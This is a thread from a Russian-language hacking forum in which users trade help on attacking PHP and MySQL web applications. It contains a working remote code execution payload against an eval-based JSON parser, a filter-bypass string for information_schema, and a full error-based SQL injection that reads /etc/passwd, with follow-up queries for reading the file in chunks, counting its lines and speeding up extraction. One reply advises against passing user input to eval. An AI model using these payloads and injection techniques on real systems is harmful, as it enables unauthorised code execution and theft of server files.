Старый 09.01.2014, 01:23   #3091
kingbeef
 
Регистрация: 28.10.2011
Сообщений: 17
Репутация: 0
По умолчанию

А так?
%60information_schema%60%252e%60tables%60
kingbeef вне форума   Ответить с цитированием
Старый 12.01.2014, 11:12   #3092
RenderAss
 
Регистрация: 05.09.2013
Сообщений: 10
Репутация: -1
По умолчанию

Код:
function json2array($json){ 
   if(get_magic_quotes_gpc()){
      $json = stripslashes($json);
   }
   $json = substr($json, 1, -1);   
   $json = str_replace(array(":", "{", "[", "}", "]"), array("=>", "array(", "array(", ")", ")"), $json); 
   @eval("\$json_array = array({$json});"); 
   return $json_array; 
}
Уязвима ли данная функция к выполнению произвольного кода? И если да, то возможно ли её обезопасить?
PS: интересует именно эта функция, стандартная php не нужна.
RenderAss вне форума   Ответить с цитированием
Старый 12.01.2014, 12:00   #3093
m0Hze
 
Аватар для m0Hze
 
Регистрация: 05.07.2010
Сообщений: 326
Репутация: 129
По умолчанию

Цитата:
Сообщение от RenderAss Посмотреть сообщение
Код:
function json2array($json){ 
   if(get_magic_quotes_gpc()){
      $json = stripslashes($json);
   }
   $json = substr($json, 1, -1);   
   $json = str_replace(array(":", "{", "[", "}", "]"), array("=>", "array(", "array(", ")", ")"), $json); 
   @eval("\$json_array = array({$json});"); 
   return $json_array; 
}
Уязвима ли данная функция к выполнению произвольного кода? И если да, то возможно ли её обезопасить?
PS: интересует именно эта функция, стандартная php не нужна.
Если предположить, что в эту функцию попадает произвольная строка, что-то вроде json2array($_POST[json]);
То, выполнить код можно просто:
Код:
json=|system($_POST[cmd])|&cmd=ls+-la
__________________
multi-vpn.biz - Первый VPN на Эллиптических кривых со скоростью света.
m0Hze вне форума   Ответить с цитированием
Старый 12.01.2014, 12:15   #3094
RenderAss
 
Регистрация: 05.09.2013
Сообщений: 10
Репутация: -1
По умолчанию

Цитата:
Сообщение от m0Hze Посмотреть сообщение
Если предположить, что в эту функцию попадает произвольная строка, что-то вроде json2array($_POST[json]);
То, выполнить код можно просто:
Код:
json=|system($_POST[cmd])|&cmd=ls+-la
Спасибо, предполагал что так оно и будет. А в данной функции сделать ничего нельзя чтобы предотвратить выполнение произвольного кода?
RenderAss вне форума   Ответить с цитированием
Старый 12.01.2014, 12:58   #3095
madhatter
 
Регистрация: 11.01.2014
Сообщений: 86
Репутация: 1
По умолчанию

Цитата:
Сообщение от RenderAss Посмотреть сообщение
Спасибо, предполагал что так оно и будет. А в данной функции сделать ничего нельзя чтобы предотвратить выполнение произвольного кода?
Да, выполнение php там будет. Это вообще весьма специфичный, так сказать, код. Используйте стандартные функции и библиотеки, не надо городить велосипедов, особенно втыкая eval с произвольным пользовательским вводом.
madhatter вне форума   Ответить с цитированием
Старый 15.01.2014, 22:49   #3096
Pronzn
 
Регистрация: 27.06.2012
Сообщений: 9
Репутация: 0
Question

Здравствуйте. Есть скрипт который принимает переменную и передает ее аргументом какой то там программе:

PHP код:
<?php exec("./some_programm ".urlencode($_GET['var1'])); ?>
Меня интересует можно ли как то выполнить произвольный код в данном случае? Пробовал передать в var1 значение 123;echo 1 > 1.txt Вся сложность в том что спец символы перекодируються и на выходе получаем ./some_programm 123%3Becho+1+%3E+1.txt что не может быть выполнено. Как обойти?
Pronzn вне форума   Ответить с цитированием
Старый 16.01.2014, 07:49   #3097
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Это невозможно. После urlencode в строке могут остаться только символы A-Za-z0-9%-.+_.

Функция escapeshellcmd, с помощью которой рекомендуется производить подобную фильтрацию не изменяет ни один из этих символов, то есть все они безопасны.

Последний раз редактировалось NameSpace; 16.01.2014 в 10:03..
NameSpace вне форума   Ответить с цитированием
Старый 16.01.2014, 09:53   #3098
madhatter
 
Регистрация: 11.01.2014
Сообщений: 86
Репутация: 1
По умолчанию

Цитата:
Сообщение от Pronzn Посмотреть сообщение
Здравствуйте. Есть скрипт который принимает переменную и передает ее аргументом какой то там программе:

PHP код:
<?php exec("./some_programm ".urlencode($_GET['var1'])); ?>
Меня интересует можно ли как то выполнить произвольный код в данном случае? Пробовал передать в var1 значение 123;echo 1 > 1.txt Вся сложность в том что спец символы перекодируються и на выходе получаем ./some_programm 123%3Becho+1+%3E+1.txt что не может быть выполнено. Как обойти?
Выглядит нехорошо. Но использован почему-то urlencode, не shellescape, не регулярки-обрезайки. Если some_program потом преобразует аргумент, то имеет смысл посмотреть ее исходники и поискать уязвимости уже в ней.
madhatter вне форума   Ответить с цитированием
Старый 02.02.2014, 18:52   #3099
Volod
 
Регистрация: 26.01.2014
Сообщений: 1
Репутация: 0
По умолчанию

Есть задачка.
Имеем error-based инъекцию.
Хотел набросать скрипт читалку локальных файлов, но столкнулся с некоторыми трудностями.
К примеру в файле 1000 символов.
Читаем запросом:
select substring(load_file('/etc/passwd'), 1, 10) - выводит.
select substring(load_file('/etc/passwd'), 490, 500) - не выводит.
т. е. файл не удается прочитать полностью.

Полный запрос инъекции такой:
(select 1 from(select count(*),concat(select substring(load_file('/etc/passwd'), 1, 10),floor(rand(0)*2)) x from information_schema.tables group by x) a)

Может можно как-нибудь получить кол-во строк в файле и затем перебирать?
Volod вне форума   Ответить с цитированием
Старый 03.02.2014, 12:06   #3100
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Volod, Вероятно вы не совсем правильно используете substring(). Первый параметр - строка, второй - позиция, третий - длина.

Например, для чтения файла по 64 символа будут требоваться запросы:
Код:
SELECT mid(load_file('/etc/passwd'), 1, 64);
SELECT mid(load_file('/etc/passwd'), 1 + 64, 64);
SELECT mid(load_file('/etc/passwd'), 1 + 64 * 2, 64);
SELECT mid(load_file('/etc/passwd'), 1 + 64 * 3, 64);
...
Изменяется только второй параметр, к нему идет добавление 64.

Если надо получить кол-во символов в файле или кол-во строк, нужно обрабатывать MySQL-средствами содержимое. Пример:

Код:
SELECT length(load_file('/etc/passwd')); // Размер файла
SELECT length(replace(@:=load_file('/etc/passwd'),0x0A,11))-length(@); // Кол-во строк
SELECT length(replace(@:=load_file('/etc/passwd'),'%0A',@))/length(@); // Вариант на 2 символа короче
...
Последние варианты немного костыльные - стандартной функции для поиска количества вхождений нет.

Для вывода файла методами error-based информация о его длине не требуется - она может быть полезна только для вас.

Для ускорения процесса эксплуатации среднестатистической error-based сейчас применяют два не легких способа:
  • Изменение кодирвки, например с 8-ми до 5-ти бит на символ
  • Использование вариации error-based векторов, например варианта с name_const и group by одновременно, чередуя их в зависимости от одного из битов.

Последний раз редактировалось NameSpace; 03.02.2014 в 12:47..
NameSpace вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2022, Jelsoft Enterprises Ltd. Перевод: zCarot